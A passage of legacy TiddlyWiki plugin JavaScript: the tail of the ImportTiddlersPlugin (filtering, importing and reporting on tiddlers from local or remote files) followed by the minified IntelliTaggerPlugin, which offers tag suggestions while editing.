			var lastSection = "";
			for(var t = 0; t < tiddlers.length; t++) {
				var tiddler = tiddlers[t];
				var theSection = tiddler.modified.toLocaleDateString();
				if (theSection != lastSection) {
					list.options[i++] = new Option(theSection,"",false,false);
					lastSection = theSection;
				}
				list.options[i++] = new Option(indent+indent+tiddler.title,tiddler.title,false,false);
			}
			break;
		case "tags":
			var theTitles = {}; // all tiddler titles, hash indexed by tag value
			var theTags = new Array();
			for(var t=0; t<tiddlers.length; t++) {
				var title=tiddlers[t].title;
				var tags=tiddlers[t].tags;
				if (!tags || !tags.length) {
					if (theTitles["untagged"]==undefined) { theTags.push("untagged"); theTitles["untagged"]=new Array(); }
					theTitles["untagged"].push(title);
				}
				else for(var s=0; s<tags.length; s++) {
					if (theTitles[tags[s]]==undefined) { theTags.push(tags[s]); theTitles[tags[s]]=new Array(); }
					theTitles[tags[s]].push(title);
				}
			}
			theTags.sort();
			for(var tagindex=0; tagindex<theTags.length; tagindex++) {
				var theTag=theTags[tagindex];
				list.options[i++]=new Option(theTag,"",false,false);
				for(var t=0; t<theTitles[theTag].length; t++)
					list.options[i++]=new Option(indent+indent+theTitles[theTag][t],theTitles[theTag][t],false,false);
			}
			break;
		}
	list.selectedIndex=selectedIndex;		  // select current control item
	if (list.size<cmi.listsize) list.size=cmi.listsize;
	if (list.size>list.options.length) list.size=list.options.length;
}

config.macros.importTiddlers.filterTiddlerList=function(success,params,txt,src,xhr) {
	var cmi=config.macros.importTiddlers; // abbreviation
	var src=src.replace(/%20/g," ");
	if (!success) { displayMessage(cmi.openErrMsg.format([src,xhr.status])); return; }
	cmi.all = cmi.readTiddlersFromHTML(txt);
	var count=cmi.all?cmi.all.length:0;
	var querypos=src.lastIndexOf("?"); if (querypos!=-1) src=src.substr(0,querypos);
	displayMessage(cmi.foundMsg.format([count,src]));
	cmi.inbound=cmi.filterByHash(params,cmi.all); // use full URL including hash (if any)
	document.getElementById("importLastFilter").value=cmi.lastFilter;
	window.refreshImportList(0);
}

config.macros.importTiddlers.filterByHash=function(src,tiddlers)
{
	var hashpos=src.lastIndexOf("#"); if (hashpos==-1) return tiddlers;
	var hash=src.substr(hashpos+1); if (!hash.length) return tiddlers;
	var tids=[];
	var params=hash.parseParams("anon",null,true,false,false);
	for (var p=1; p<params.length; p++) {
		switch (params[p].name) {
			case "anon":
			case "open":
				tids.pushUnique(params[p].value);
				break;
			case "tag":
				if (store.getMatchingTiddlers) { // for boolean expressions - see MatchTagsPlugin
					var r=store.getMatchingTiddlers(params[p].value,null,tiddlers);
					for (var t=0; t<r.length; t++) tids.pushUnique(r[t].title);
				} else for (var t=0; t<tiddlers.length; t++)
					if (tiddlers[t].isTagged(params[p].value))
						tids.pushUnique(tiddlers[t].title);
				break;
			case "story":
				for (var t=0; t<tiddlers.length; t++)
					if (tiddlers[t].title==params[p].value) {
						tiddlers[t].changed();
						for (var s=0; s<tiddlers[t].links.length; s++)
							tids.pushUnique(tiddlers[t].links[s]);
						break;
					}
				break;
			case "search":
				for (var t=0; t<tiddlers.length; t++)
					if (tiddlers[t].text.indexOf(params[p].value)!=-1)
						tids.pushUnique(tiddlers[t].title);
				break;
		}
	}
	var matches=[];
	for (var t=0; t<tiddlers.length; t++)
		if (tids.contains(tiddlers[t].title))
			matches.push(tiddlers[t]);
	displayMessage(config.macros.importTiddlers.filterMsg.format([matches.length,hash]));
	config.macros.importTiddlers.lastFilter=hash;
	return matches;
}
//}}}

// // re-entrant processing for handling import with interactive collision prompting
//{{{
function importTiddlers(startIndex)
{
	var cmi=config.macros.importTiddlers; // abbreviation

	if (!cmi.inbound) return -1;

	var list = document.getElementById('importList');
	if (!list) return;
	var t;
	// if starting new import, reset import status flags
	if (startIndex==0)
		for (var t=0;t<cmi.inbound.length;t++)
			cmi.inbound[t].status="";
	for (var i=startIndex; i<list.options.length; i++)
		{
		// if list item is not selected or is a heading (i.e., has no value), skip it
		if ((!list.options[i].selected) || ((t=list.options[i].value)==""))
			continue;
		for (var j=0;j<cmi.inbound.length;j++)
			if (cmi.inbound[j].title==t) break;
		var inbound = cmi.inbound[j];
		var theExisting = store.getTiddler(inbound.title);
		// avoid redundant import for tiddlers that are listed multiple times (when 'by tags')
		if (inbound.status=="added")
			continue;
		// don't import the "ImportedTiddlers" history from the other document...
		if (inbound.title=='ImportedTiddlers')
			continue;
		// if tiddler exists and import not marked for replace or merge, stop importing
		if (theExisting && (inbound.status.substr(0,7)!="replace") && (inbound.status.substr(0,5)!="merge"))
			return i;
		// assemble tags (remote + existing + added)
		var newTags = "";
		if (cmi.importTags)
			newTags+=inbound.getTags()	// import remote tags
		if (cmi.keepTags && theExisting)
			newTags+=" "+theExisting.getTags(); // keep existing tags
		if (cmi.addTags && cmi.newTags.trim().length)
			newTags+=" "+cmi.newTags; // add new tags
		inbound.set(null,null,null,null,newTags.trim());
		// set the status to 'added' (if not already set by the 'ask the user' UI)
		inbound.status=(inbound.status=="")?'added':inbound.status;
		// set sync fields
		if (cmi.sync) {
			if (!inbound.fields) inbound.fields={}; // for TW2.1.x backward-compatibility
			inbound.fields["server.page.revision"]=inbound.modified.convertToYYYYMMDDHHMM();
			inbound.fields["server.type"]="file";
			inbound.fields["server.host"]=(cmi.local?"file://":"")+cmi.src;
		}
		// do the import!
		store.suspendNotifications();
		store.saveTiddler(inbound.title, inbound.title, inbound.text, inbound.modifier, inbound.modified, inbound.tags, inbound.fields, true, inbound.created);
                store.fetchTiddler(inbound.title).created = inbound.created; // force creation date to imported value (needed for TW2.1.x and earlier)
		store.resumeNotifications();
		}
	return(-1);	// signals that we really finished the entire list
}
//}}}

//{{{
function importStopped()
{
	var cmi=config.macros.importTiddlers; // abbreviation
	var list = document.getElementById('importList');
	var theNewTitle = document.getElementById('importNewTitle');
	if (!list) return;
	if (cmi.index==-1){ 
		document.getElementById('importStart').value=cmi.startText;
		importReport();		// import finished... generate the report
	} else {
		// import collision...
		// show the collision panel and set the title edit field
		document.getElementById('importStart').value=cmi.stopText;
		cmi.showPanel('importCollisionPanel',true);
		theNewTitle.value=list.options[cmi.index].value;
		if (document.getElementById('importApplyToAll').checked
			&& cmi.lastAction
			&& cmi.lastAction.id!="importRename") {
			onClickImportButton(cmi.lastAction);
		}
	}
}
//}}}

// // ''REPORT GENERATOR''
//{{{
function importReport()
{
	var cmi=config.macros.importTiddlers; // abbreviation
	if (!cmi.inbound) return;

	// if import was not completed, the collision panel will still be open... close it now.
	var panel=document.getElementById('importCollisionPanel'); if (panel) panel.style.display='none';

	// get the alphasorted list of tiddlers
	var tiddlers = cmi.inbound;
	// gather the statistics
	var count=0; var total=0;
	for (var t=0; t<tiddlers.length; t++) {
		if (!tiddlers[t].status || !tiddlers[t].status.trim().length) continue;
		if (tiddlers[t].status.substr(0,7)!="skipped") count++;
		total++;
	}
	// generate a report
	if (total) displayMessage(cmi.processedMsg.format([total]));
	if (count && config.options.chkImportReport) {
		// get/create the report tiddler
		var theReport = store.getTiddler('ImportedTiddlers');
		if (!theReport) { theReport= new Tiddler(); theReport.title = 'ImportedTiddlers'; theReport.text  = ""; }
		// format the report content
		var now = new Date();
		var newText = "On "+now.toLocaleString()+", "+config.options.txtUserName
		newText +=" imported "+count+" tiddler"+(count==1?"":"s")+" from\n[["+cmi.src+"|"+cmi.src+"]]:\n";
		if (cmi.addTags && cmi.newTags.trim().length)
			newText += "imported tiddlers were tagged with: \""+cmi.newTags+"\"\n";
		newText += "<<<\n";
		for (var t=0; t<tiddlers.length; t++) if (tiddlers[t].status) newText += "#[["+tiddlers[t].title+"]] - "+tiddlers[t].status+"\n";
		newText += "<<<\n";
		// update the ImportedTiddlers content and show the tiddler
		theReport.text	 = newText+((theReport.text!="")?'\n----\n':"")+theReport.text;
		theReport.modifier = config.options.txtUserName;
		theReport.modified = new Date();
                store.saveTiddler(theReport.title, theReport.title, theReport.text, theReport.modifier, theReport.modified, theReport.tags, theReport.fields);
		story.displayTiddler(null,theReport.title,1,null,null,false);
		story.refreshTiddler(theReport.title,1,true);
	}

	// reset status flags
	for (var t=0; t<cmi.inbound.length; t++) cmi.inbound[t].status="";

	// mark document as dirty and let display update as needed
	if (count) { store.setDirty(true); store.notifyAll(); }

	// always show final message when tiddlers were actually loaded
	if (count) displayMessage(cmi.importedMsg.format([count,tiddlers.length,cmi.src.replace(/%20/g," ")]));
}
//}}}

// // File and XMLHttpRequest I/O
//{{{
config.macros.importTiddlers.askForFilename=function(here) {
	var msg=here.title; // use tooltip as dialog box message
	var path=getLocalPath(document.location.href);
	var slashpos=path.lastIndexOf("/"); if (slashpos==-1) slashpos=path.lastIndexOf("\\"); 
	if (slashpos!=-1) path = path.substr(0,slashpos+1); // remove filename from path, leave the trailing slash
	var file="";
	var result="";
	if(window.Components) { // moz
		try {
			netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
			var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
			var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
			picker.init(window, msg, nsIFilePicker.modeOpen);
			var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
			thispath.initWithPath(path);
			picker.displayDirectory=thispath;
			picker.defaultExtension='html';
			picker.defaultString=file;
			picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterText|nsIFilePicker.filterHTML);
			if (picker.show()!=nsIFilePicker.returnCancel) var result=picker.file.persistentDescriptor;
		}
		catch(e) { alert('error during local file access: '+e.toString()) }
	}
	else { // IE
		try { // XPSP2 IE only
			var s = new ActiveXObject('UserAccounts.CommonDialog');
			s.Filter='All files|*.*|Text files|*.txt|HTML files|*.htm;*.html|';
			s.FilterIndex=3; // default to HTML files;
			s.InitialDir=path;
			s.FileName=file;
			if (s.showOpen()) var result=s.FileName;
		}
		catch(e) {  // fallback
			var result=prompt(msg,path+file);
		}
	}
	return result;
}

config.macros.importTiddlers.loadRemoteFile = function(src,callback) {
	if (src==undefined || !src.length) return null; // filename is required
	var original=src; // URL as specified
	var hashpos=src.indexOf("#"); if (hashpos!=-1) src=src.substr(0,hashpos); // URL with #... suffix removed (needed for IE)
	clearMessage();
	displayMessage(this.openMsg.format([src.replace(/%20/g," ")]));
	if (src.substr(0,5)!="http:" && src.substr(0,5)!="file:") { // if not a URL, read from local filesystem
		var txt=loadFile(src);
		if (!txt) { // file didn't load, might be relative path.. try fixup
			var pathPrefix=document.location.href;  // get current document path and trim off filename
			var slashpos=pathPrefix.lastIndexOf("/"); if (slashpos==-1) slashpos=pathPrefix.lastIndexOf("\\"); 
			if (slashpos!=-1 && slashpos!=pathPrefix.length-1) pathPrefix=pathPrefix.substr(0,slashpos+1);
			src=pathPrefix+src;
			if (pathPrefix.substr(0,5)!="http:") src=getLocalPath(src);
			var txt=loadFile(src);
		}
		if (!txt) { // file still didn't load, report error
			displayMessage(config.macros.importTiddlers.openErrMsg.format([src.replace(/%20/g," "),"(filesystem error)"]));
		} else {
			displayMessage(config.macros.importTiddlers.readMsg.format([txt.length,src.replace(/%20/g," ")]));
			if (callback) callback(true,original,convertUTF8ToUnicode(txt),src,null);
		}
	} else {
		var name=config.options.txtRemoteUsername; var pass=config.options.txtRemotePassword;
		var xhr=doHttp("GET",src,null,null,name,pass,callback,original,null)
		if (!xhr) displayMessage(config.macros.importTiddlers.openErrMsg.format([src,"(XMLHTTPRequest error)"]));
	}
}

config.macros.importTiddlers.readTiddlersFromHTML=function(html)
{
	var remoteStore=new TiddlyWiki();
	remoteStore.importTiddlyWiki(html);
	return remoteStore.getTiddlers("title");	
}
//}}}
/***
|''Name:''|IntelliTaggerPlugin|
|''Version:''|1.0.2 (2007-07-25)|
|''Type:''|plugin|
|''Source:''|http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin|
|''Author:''|Udo Borkowski (ub [at] abego-software [dot] de)|
|''Documentation:''|[[IntelliTaggerPlugin Documentation]]|
|''~SourceCode:''|[[IntelliTaggerPlugin SourceCode]]|
|''Licence:''|[[BSD open source license (abego Software)]]|
|''~CoreVersion:''|2.0.8|
|''Browser:''|Firefox 1.5.0.2 or better|
***/
/***
!Version History
* 1.0.2 (2007-07-25): 
** Feature: "Return" key may be used to accept first tag suggestion (beside "Alt-1")
** Bugfix: Keyboard shortcuts (Alt+3 etc.) shifted
* 1.0.1 (2007-05-18): Improvement: Speedup when using TiddlyWikis with many tags
* 1.0.0 (2006-04-26): Initial release

***/
// /%
if(!version.extensions.IntelliTaggerPlugin){if(!window.abego){window.abego={};}if(!abego.internal){abego.internal={};}abego.alertAndThrow=function(s){alert(s);throw s;};if(version.major<2){abego.alertAndThrow("Use TiddlyWiki 2.0.8 or better to run the IntelliTagger Plugin.");}version.extensions.IntelliTaggerPlugin={major:1,minor:0,revision:2,date:new Date(2007,6,25),type:"plugin",source:"http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin",documentation:"[[IntelliTaggerPlugin Documentation]]",sourcecode:"[[IntelliTaggerPlugin SourceCode]]",author:"Udo Borkowski (ub [at] abego-software [dot] de)",licence:"[[BSD open source license (abego Software)]]",tiddlywiki:"Version 2.0.8 or better",browser:"Firefox 1.5.0.2 or better"};abego.createEllipsis=function(_2){var e=createTiddlyElement(_2,"span");e.innerHTML="&hellip;";};abego.isPopupOpen=function(_4){return _4&&_4.parentNode==document.body;};abego.openAsPopup=function(_5){if(_5.parentNode!=document.body){document.body.appendChild(_5);}};abego.closePopup=function(_6){if(abego.isPopupOpen(_6)){document.body.removeChild(_6);}};abego.getWindowRect=function(){return {left:findScrollX(),top:findScrollY(),height:findWindowHeight(),width:findWindowWidth()};};abego.moveElement=function(_7,_8,_9){_7.style.left=_8+"px";_7.style.top=_9+"px";};abego.centerOnWindow=function(_a){if(_a.style.position!="absolute"){throw "abego.centerOnWindow: element must have absolute position";}var _b=abego.getWindowRect();abego.moveElement(_a,_b.left+(_b.width-_a.offsetWidth)/2,_b.top+(_b.height-_a.offsetHeight)/2);};abego.isDescendantOrSelf=function(_c,e){while(e){if(_c==e){return true;}e=e.parentNode;}return false;};abego.toSet=function(_e){var _f={};for(var i=0;i<_e.length;i++){_f[_e[i]]=true;}return _f;};abego.filterStrings=function(_11,_12,_13){var _14=[];for(var i=0;i<_11.length&&(_13===undefined||_14.length<_13);i++){var s=_11[i];if(s.match(_12)){_14.push(s);}}return _14;};abego.arraysAreEqual=function(a,b){if(!a){return !b;}if(!b){return false;}var n=a.length;if(n!=b.length){return false;}for(var i=0;i<n;i++){if(a[i]!=b[i]){return false;}}return true;};abego.moveBelowAndClip=function(_1b,_1c){if(!_1c){return;}var _1d=findPosX(_1c);var _1e=findPosY(_1c);var _1f=_1c.offsetHeight;var _20=_1d;var _21=_1e+_1f;var _22=findWindowWidth();if(_22<_1b.offsetWidth){_1b.style.width=(_22-100)+"px";}var _23=_1b.offsetWidth;if(_20+_23>_22){_20=_22-_23-30;}if(_20<0){_20=0;}_1b.style.left=_20+"px";_1b.style.top=_21+"px";_1b.style.display="block";};abego.compareStrings=function(a,b){return (a==b)?0:(a<b)?-1:1;};abego.sortIgnoreCase=function(arr){var _27=[];var n=arr.length;for(var i=0;i<n;i++){var s=arr[i];_27.push([s.toString().toLowerCase(),s]);}_27.sort(function(a,b){return (a[0]==b[0])?0:(a[0]<b[0])?-1:1;});for(i=0;i<n;i++){arr[i]=_27[i][1];}};abego.getTiddlerField=function(_2d,_2e,_2f){var _30=document.getElementById(_2d.idPrefix+_2e);var e=null;if(_30!=null){var _32=_30.getElementsByTagName("*");for(var t=0;t<_32.length;t++){var c=_32[t];if(c.tagName.toLowerCase()=="input"||c.tagName.toLowerCase()=="textarea"){if(!e){e=c;}if(c.getAttribute("edit")==_2f){e=c;}}}}return e;};abego.setRange=function(_35,_36,end){if(_35.setSelectionRange){_35.setSelectionRange(_36,end);var max=0+_35.scrollHeight;var len=_35.textLength;var top=max*_36/len,bot=max*end/len;_35.scrollTop=Math.min(top,(bot+top-_35.clientHeight)/2);}else{if(_35.createTextRange!=undefined){var _3b=_35.createTextRange();_3b.collapse();_3b.moveEnd("character",end);_3b.moveStart("character",_36);_3b.select();}else{_35.select();}}};abego.internal.TagManager=function(){var _3c=null;var _3d=function(){if(_3c){return;}_3c={};store.forEachTiddler(function(_3e,_3f){for(var i=0;i<_3f.tags.length;i++){var tag=_3f.tags[i];var _42=_3c[tag];if(!_42){_42=_3c[tag]={count:0,tiddlers:{}};}_42.tiddlers[_3f.title]=true;_42.count+=1;}});};var _43=TiddlyWiki.prototype.saveTiddler;TiddlyWiki.prototype.saveTiddler=function(_44,_45,_46,_47,_48,_49){var _4a=this.fetchTiddler(_44);var _4b=_4a?_4a.tags:[];var _4c=(typeof _49=="string")?_49.readBracketedList():_49;_43.apply(this,arguments);if(!abego.arraysAreEqual(_4b,_4c)){abego.internal.getTagManager().reset();}};var _4d=TiddlyWiki.prototype.removeTiddler;TiddlyWiki.prototype.removeTiddler=function(_4e){var _4f=this.fetchTiddler(_4e);var _50=_4f&&_4f.tags.length>0;_4d.apply(this,arguments);if(_50){abego.internal.getTagManager().reset();}};this.reset=function(){_3c=null;};this.getTiddlersWithTag=function(tag){_3d();var _52=_3c[tag];return _52?_52.tiddlers:null;};this.getAllTags=function(_53){_3d();var _54=[];for(var i in _3c){_54.push(i);}for(i=0;_53&&i<_53.length;i++){_54.pushUnique(_53[i],true);}abego.sortIgnoreCase(_54);return _54;};this.getTagInfos=function(){_3d();var _56=[];for(var _57 in _3c){_56.push([_57,_3c[_57]]);}return _56;};var _58=function(a,b){var a1=a[1];var b1=b[1];var d=b[1].count-a[1].count;return d!=0?d:abego.compareStrings(a[0].toLowerCase(),b[0].toLowerCase());};this.getSortedTagInfos=function(){_3d();var _5e=this.getTagInfos();_5e.sort(_58);return _5e;};this.getPartnerRankedTags=function(_5f){var _60={};for(var i=0;i<_5f.length;i++){var _62=this.getTiddlersWithTag(_5f[i]);for(var _63 in _62){var _64=store.getTiddler(_63);if(!(_64 instanceof Tiddler)){continue;}for(var j=0;j<_64.tags.length;j++){var tag=_64.tags[j];var c=_60[tag];_60[tag]=c?c+1:1;}}}var _68=abego.toSet(_5f);var _69=[];for(var n in _60){if(!_68[n]){_69.push(n);}}_69.sort(function(a,b){var d=_60[b]-_60[a];return d!=0?d:abego.compareStrings(a.toLowerCase(),b.toLowerCase());});return _69;};};abego.internal.getTagManager=function(){if(!abego.internal.gTagManager){abego.internal.gTagManager=new abego.internal.TagManager();}return abego.internal.gTagManager;};(function(){var _6e=2;var _6f=1;var _70=30;var _71;var _72;var _73;var _74;var _75;var _76;if(!abego.IntelliTagger){abego.IntelliTagger={};}var _77=function(){return _72;};var _78=function(tag){return _75[tag];};var _7a=function(s){var i=s.lastIndexOf(" ");return (i>=0)?s.substr(0,i):"";};var _7d=function(_7e){var s=_7e.value;var len=s.length;return (len>0&&s[len-1]!=" ");};var _81=function(_82){var s=_82.value;var len=s.length;if(len>0&&s[len-1]!=" "){_82.value+=" ";}};var _85=function(tag,_87,_88){if(_7d(_87)){_87.value=_7a(_87.value);}story.setTiddlerTag(_88.title,tag,0);_81(_87);abego.IntelliTagger.assistTagging(_87,_88);};var _89=function(n){if(_76&&_76.length>n){return _76[n];}return (_74&&_74.length>n)?_74[n]:null;};var _8b=function(n,_8d,_8e){var _8f=_89(n);if(_8f){_85(_8f,_8d,_8e);}};var _90=function(_91){var pos=_91.value.lastIndexOf(" ");var _93=(pos>=0)?_91.value.substr(++pos,_91.value.length):_91.value;return new RegExp(_93.escapeRegExp(),"i");};var _94=function(_95,_96){var _97=0;for(var i=0;i<_95.length;i++){if(_96[_95[i]]){_97++;}}return _97;};var _99=function(_9a,_9b,_9c){var _9d=1;var c=_9a[_9b];for(var i=_9b+1;i<_9a.length;i++){if(_9a[i][1].count==c){if(_9a[i][0].match(_9c)){_9d++;}}else{break;}}return _9d;};var _a0=function(_a1,_a2){var _a3=abego.internal.getTagManager().getSortedTagInfos();var _a4=[];var _a5=0;for(var i=0;i<_a3.length;i++){var c=_a3[i][1].count;if(c!=_a5){if(_a2&&(_a4.length+_99(_a3,i,_a1)>_a2)){break;}_a5=c;}if(c==1){break;}var s=_a3[i][0];if(s.match(_a1)){_a4.push(s);}}return _a4;};var _a9=function(_aa,_ab){return abego.filterStrings(abego.internal.getTagManager().getAllTags(_ab),_aa);};var _ac=function(){if(!_71){return;}var _ad=store.getTiddlerText("IntelliTaggerMainTemplate");if(!_ad){_ad="<b>Tiddler IntelliTaggerMainTemplate not found</b>";}_71.innerHTML=_ad;applyHtmlMacros(_71,null);refreshElements(_71,null);};var _ae=function(e){if(!e){var e=window.event;}var tag=this.getAttribute("tag");if(_73){_73.call(this,tag,e);}return false;};var _b2=function(_b3){createTiddlyElement(_b3,"span",null,"tagSeparator"," | ");};var _b4=function(_b5,_b6,_b7,_b8,_b9){if(!_b6){return;}var _ba=_b8?abego.toSet(_b8):{};var n=_b6.length;var c=0;for(var i=0;i<n;i++){var tag=_b6[i];if(_ba[tag]){continue;}if(c>0){_b2(_b5);}if(_b9&&c>=_b9){abego.createEllipsis(_b5);break;}c++;var _bf="";var _c0=_b5;if(_b7<10){_c0=createTiddlyElement(_b5,"span",null,"numberedSuggestion");_b7++;var key=_b7<10?""+(_b7):"0";createTiddlyElement(_c0,"span",null,"suggestionNumber",key+") ");var _c2=_b7==1?"Return or ":"";_bf=" (Shortcut: %1Alt-%0)".format([key,_c2]);}var _c3=config.views.wikified.tag.tooltip.format([tag]);var _c4=(_78(tag)?"Remove tag '%0'%1":"Add tag '%0'%1").format([tag,_bf]);var _c5="%0; Shift-Click: %1".format([_c4,_c3]);var btn=createTiddlyButton(_c0,tag,_c5,_ae,_78(tag)?"currentTag":null);btn.setAttribute("tag",tag);}};var _c7=function(){if(_71){window.scrollTo(0,ensureVisible(_71));}if(_77()){window.scrollTo(0,ensureVisible(_77()));}};var _c8=function(e){if(!e){var e=window.event;}if(!_71){return;}var _cb=resolveTarget(e);if(_cb==_77()){return;}if(abego.isDescendantOrSelf(_71,_cb)){return;}abego.IntelliTagger.close();};addEvent(document,"click",_c8);var _cc=Story.prototype.gatherSaveFields;Story.prototype.gatherSaveFields=function(e,_ce){_cc.apply(this,arguments);var _cf=_ce.tags;if(_cf){_ce.tags=_cf.trim();}};var _d0=function(_d1){story.focusTiddler(_d1,"tags");var _d2=abego.getTiddlerField(story,_d1,"tags");if(_d2){var len=_d2.value.length;abego.setRange(_d2,len,len);window.scrollTo(0,ensureVisible(_d2));}};var _d4=config.macros.edit.handler;config.macros.edit.handler=function(_d5,_d6,_d7,_d8,_d9,_da){_d4.apply(this,arguments);var _db=_d7[0];if((_da instanceof Tiddler)&&_db=="tags"){var _dc=_d5.lastChild;_dc.onfocus=function(e){abego.IntelliTagger.assistTagging(_dc,_da);setTimeout(function(){_d0(_da.title);},100);};_dc.onkeyup=function(e){if(!e){var e=window.event;}if(e.altKey&&!e.ctrlKey&&!e.metaKey&&(e.keyCode>=48&&e.keyCode<=57)){_8b(e.keyCode==48?9:e.keyCode-49,_dc,_da);}else{if(e.ctrlKey&&e.keyCode==32){_8b(0,_dc,_da);}}if(!e.ctrlKey&&(e.keyCode==13||e.keyCode==10)){_8b(0,_dc,_da);}setTimeout(function(){abego.IntelliTagger.assistTagging(_dc,_da);},100);return false;};_81(_dc);}};var _e0=function(e){if(!e){var e=window.event;}var _e3=resolveTarget(e);var _e4=_e3.getAttribute("tiddler");if(_e4){story.displayTiddler(_e3,_e4,"IntelliTaggerEditTagsTemplate",false);_d0(_e4);}return false;};var _e5=config.macros.tags.handler;config.macros.tags.handler=function(_e6,_e7,_e8,_e9,_ea,_eb){_e5.apply(this,arguments);abego.IntelliTagger.createEditTagsButton(_eb,createTiddlyElement(_e6.lastChild,"li"));};var _ec=function(){if(_71&&_72&&!abego.isDescendantOrSelf(document,_72)){abego.IntelliTagger.close();}};setInterval(_ec,100);abego.IntelliTagger.displayTagSuggestions=function(_ed,_ee,_ef,_f0,_f1){_74=_ed;_75=abego.toSet(_ee);_76=_ef;_72=_f0;_73=_f1;if(!_71){_71=createTiddlyElement(document.body,"div",null,"intelliTaggerSuggestions");_71.style.position="absolute";}_ac();abego.openAsPopup(_71);if(_77()){var w=_77().offsetWidth;if(_71.offsetWidth<w){_71.style.width=(w-2*(_6e+_6f))+"px";}abego.moveBelowAndClip(_71,_77());}else{abego.centerOnWindow(_71);}_c7();};abego.IntelliTagger.assistTagging=function(_f3,_f4){var _f5=_90(_f3);var s=_f3.value;if(_7d(_f3)){s=_7a(s);}var _f7=s.readBracketedList();var _f8=_f7.length>0?abego.filterStrings(abego.internal.getTagManager().getPartnerRankedTags(_f7),_f5,_70):_a0(_f5,_70);abego.IntelliTagger.displayTagSuggestions(_a9(_f5,_f7),_f7,_f8,_f3,function(tag,e){if(e.shiftKey){onClickTag.call(this,e);}else{_85(tag,_f3,_f4);}});};abego.IntelliTagger.close=function(){abego.closePopup(_71);_71=null;return false;};abego.IntelliTagger.createEditTagsButton=function(_fb,_fc,_fd,_fe,_ff,id,_101){if(!_fd){_fd="[edit]";}if(!_fe){_fe="Edit the tags";}if(!_ff){_ff="editTags";}var _102=createTiddlyButton(_fc,_fd,_fe,_e0,_ff,id,_101);_102.setAttribute("tiddler",(_fb instanceof Tiddler)?_fb.title:String(_fb));return _102;};abego.IntelliTagger.getSuggestionTagsMaxCount=function(){return 100;};config.macros.intelliTagger={label:"intelliTagger",handler:function(_103,_104,_105,_106,_107,_108){var _109=_107.parseParams("list",null,true);var _10a=_109[0]["action"];for(var i=0;_10a&&i<_10a.length;i++){var _10c=_10a[i];var _10d=config.macros.intelliTagger.subhandlers[_10c];if(!_10d){abego.alertAndThrow("Unsupported action '%0'".format([_10c]));}_10d(_103,_104,_105,_106,_107,_108);}},subhandlers:{showTags:function(_10e,_10f,_110,_111,_112,_113){_b4(_10e,_74,_76?_76.length:0,_76,abego.IntelliTagger.getSuggestionTagsMaxCount());},showFavorites:function(_114,_115,_116,_117,_118,_119){_b4(_114,_76,0);},closeButton:function(_11a,_11b,_11c,_11d,_11e,_11f){var _120=createTiddlyButton(_11a,"close","Close the suggestions",abego.IntelliTagger.close);},version:function(_121){var t="IntelliTagger %0.%1.%2".format([version.extensions.IntelliTaggerPlugin.major,version.extensions.IntelliTaggerPlugin.minor,version.extensions.IntelliTaggerPlugin.revision]);var e=createTiddlyElement(_121,"a");e.setAttribute("href","http://tiddlywiki.abego-software.de/#IntelliTaggerPlugin");e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">"+t+"<font>";},copyright:function(_124){var e=createTiddlyElement(_124,"a");e.setAttribute("href","http://tiddlywiki.abego-software.de");e.innerHTML="<font color=\"black\" face=\"Arial, Helvetica, sans-serif\">&copy; 2006-2007 <b><font color=\"red\">abego</font></b> Software<font>";}}};})();config.shadowTiddlers["IntelliTaggerStyleSheet"]="/***\n"+"!~IntelliTagger Stylesheet\n"+"***/\n"+"/*{{{*/\n"+".intelliTaggerSuggestions {\n"+"\tposition: absolute;\n"+"\twidth: 600px;\n"+"\n"+"\tpadding: 2px;\n"+"\tlist-style: none;\n"+"\tmargin: 0;\n"+"\n"+"\tbackground: #eeeeee;\n"+"\tborder: 1px solid DarkGray;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .currentTag   {\n"+"\tfont-weight: bold;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .suggestionNumber {\n"+"\tcolor: #808080;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .numberedSuggestion{\n"+"\twhite-space: nowrap;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .intelliTaggerFooter {\n"+"\tmargin-top: 4px;\n"+"\tborder-top-width: thin;\n"+"\tborder-top-style: solid;\n"+"\tborder-top-color: #999999;\n"+"}\n"+".intelliTaggerSuggestions .favorites {\n"+"\tborder-bottom-width: thin;\n"+"\tborder-bottom-style: solid;\n"+"\tborder-bottom-color: #999999;\n"+"\tpadding-bottom: 2px;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .normalTags {\n"+"\tpadding-top: 2px;\n"+"}\n"+"\n"+".intelliTaggerSuggestions .intelliTaggerFooter .button {\n"+"\tfont-size: 10px;\n"+"\n"+"\tpadding-left: 0.3em;\n"+"\tpadding-right: 0.3em;\n"+"}\n"+"\n"+"/*}}}*/\n";config.shadowTiddlers["IntelliTaggerMainTemplate"]="<!--\n"+"{{{\n"+"-->\n"+"<div class=\"favorites\" macro=\"intelliTagger action: showFavorites\"></div>\n"+"<div class=\"normalTags\" macro=\"intelliTagger action: showTags\"></div>\n"+"<!-- The Footer (with the Navigation) ============================================ -->\n"+"<table class=\"intelliTaggerFooter\" border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\"><tbody>\n"+"  <tr>\n"+"\t<td align=\"left\">\n"+"\t\t<span macro=\"intelliTagger action: closeButton\"></span>\n"+"\t</td>\n"+"\t<td align=\"right\">\n"+"\t\t<span macro=\"intelliTagger action: version\"></span>, <span macro=\"intelliTagger action: copyright \"></span>\n"+"\t</td>\n"+"  </tr>\n"+"</tbody></table>\n"+"<!--\n"+"}}}\n"+"-->\n";config.shadowTiddlers["IntelliTaggerEditTagsTemplate"]="<!--\n"+"{{{\n"+"-->\n"+"<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler'></div>\n"+"<div class='title' macro='view title'></div>\n"+"<div class='tagged' macro='tags'></div>\n"+"<div class='viewer' macro='view text wikified'></div>\n"+"<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler'></div>\n"+"<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span 